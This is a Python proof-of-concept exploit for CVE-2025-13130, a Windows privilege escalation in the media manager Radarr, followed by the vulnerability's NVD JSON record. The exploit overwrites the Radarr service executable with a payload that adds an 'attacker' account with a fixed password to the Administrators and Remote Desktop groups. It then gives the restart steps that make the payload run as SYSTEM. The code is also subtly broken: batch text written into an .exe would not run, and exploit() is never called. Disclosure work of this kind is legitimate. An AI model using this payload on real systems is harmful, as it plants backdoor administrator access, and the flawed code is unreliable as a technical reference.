CVE-2025-13130

#!/usr/bin/env python3 """ CVE-2025-13130 PoC - Radarr Service Privilege Escalation Target: Radarr 5.28.0.10274 on Windows Type: Insecure Default Permissions leading to Local Privilege Escalation """ import os import sys import shutil import subprocess def check_vulnerability(): """ Check if Radarr service executable has insecure permissions """ radarr_path = r"C:\ProgramData\Radarr\bin\Radarr.Console.exe" if not os.path.exists(radarr_path): print(f"[-] Radarr not found at {radarr_path}") return False # Check if current user has write permissions try: # Attempt to create a test file in the bin directory test_file = os.path.join(os.path.dirname(radarr_path), "test_write.tmp") with open(test_file, 'w') as f: f.write("test") os.remove(test_file) print("[+] VULNERABLE: Current user has write access to Radarr bin directory") return True except PermissionError: print("[-] NOT VULNERABLE: Write access denied") return False except Exception as e: print(f"[-] Error checking permissions: {e}") return False def exploit(): """ Exploit the vulnerability by replacing the service executable WARNING: This is for educational purposes only """ radarr_path = r"C:\ProgramData\Radarr\bin\Radarr.Console.exe" backup_path = radarr_path + ".bak" print("[*] Creating backup of original executable...") try: shutil.copy2(radarr_path, backup_path) except Exception as e: print(f"[-] Failed to create backup: {e}") return False print("[*] Replacing Radarr.Console.exe with malicious payload...") # In a real attack, this would be a malicious executable # For demonstration, we create a simple batch script that creates a new admin user malicious_payload = '''@echo off net user attacker P@ssw0rd123! /add net localgroup administrators attacker /add net localgroup "Remote Desktop Users" attacker /add ''' try: with open(radarr_path, 'w') as f: f.write(malicious_payload) print("[+] Malicious payload written successfully") print("[*] Waiting for service restart to execute payload...") print("[*] Run: sc query Radarr to check service status") print("[*] Run: net stop Radarr && net start Radarr to trigger exploitation") return True except Exception as e: print(f"[-] Failed to write payload: {e}") # Restore backup shutil.copy2(backup_path, radarr_path) return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-13130 Radarr Privilege Escalation PoC") print("=" * 60) if sys.platform != "win32": print("[-] This exploit only works on Windows systems") sys.exit(1) if not check_vulnerability(): print("\n[-] Target is not vulnerable") sys.exit(0) print("\n[*] Target appears vulnerable. Manual exploitation steps:") print("1. Replace Radarr.Console.exe with your payload") print("2. Restart the Radarr service (requires some privilege)") print("3. Payload executes with SYSTEM privileges")

{"cve": {"id": "CVE-2025-13130", "sourceIdentifier": "[email protected]", "published": "2025-11-13T22:15:50.007", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Radarr 5.28.0.10274. The affected element is an unknown function of the file C:\\ProgramData\\Radarr\\bin\\Radarr.Console.exe of the component Service. Such manipulation leads to incorrect default permissions. The attack can only be performed from a local environment. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 6.8, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/Radarr.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.332361", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.332361", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.683876", "source": "[email protected]"}]}}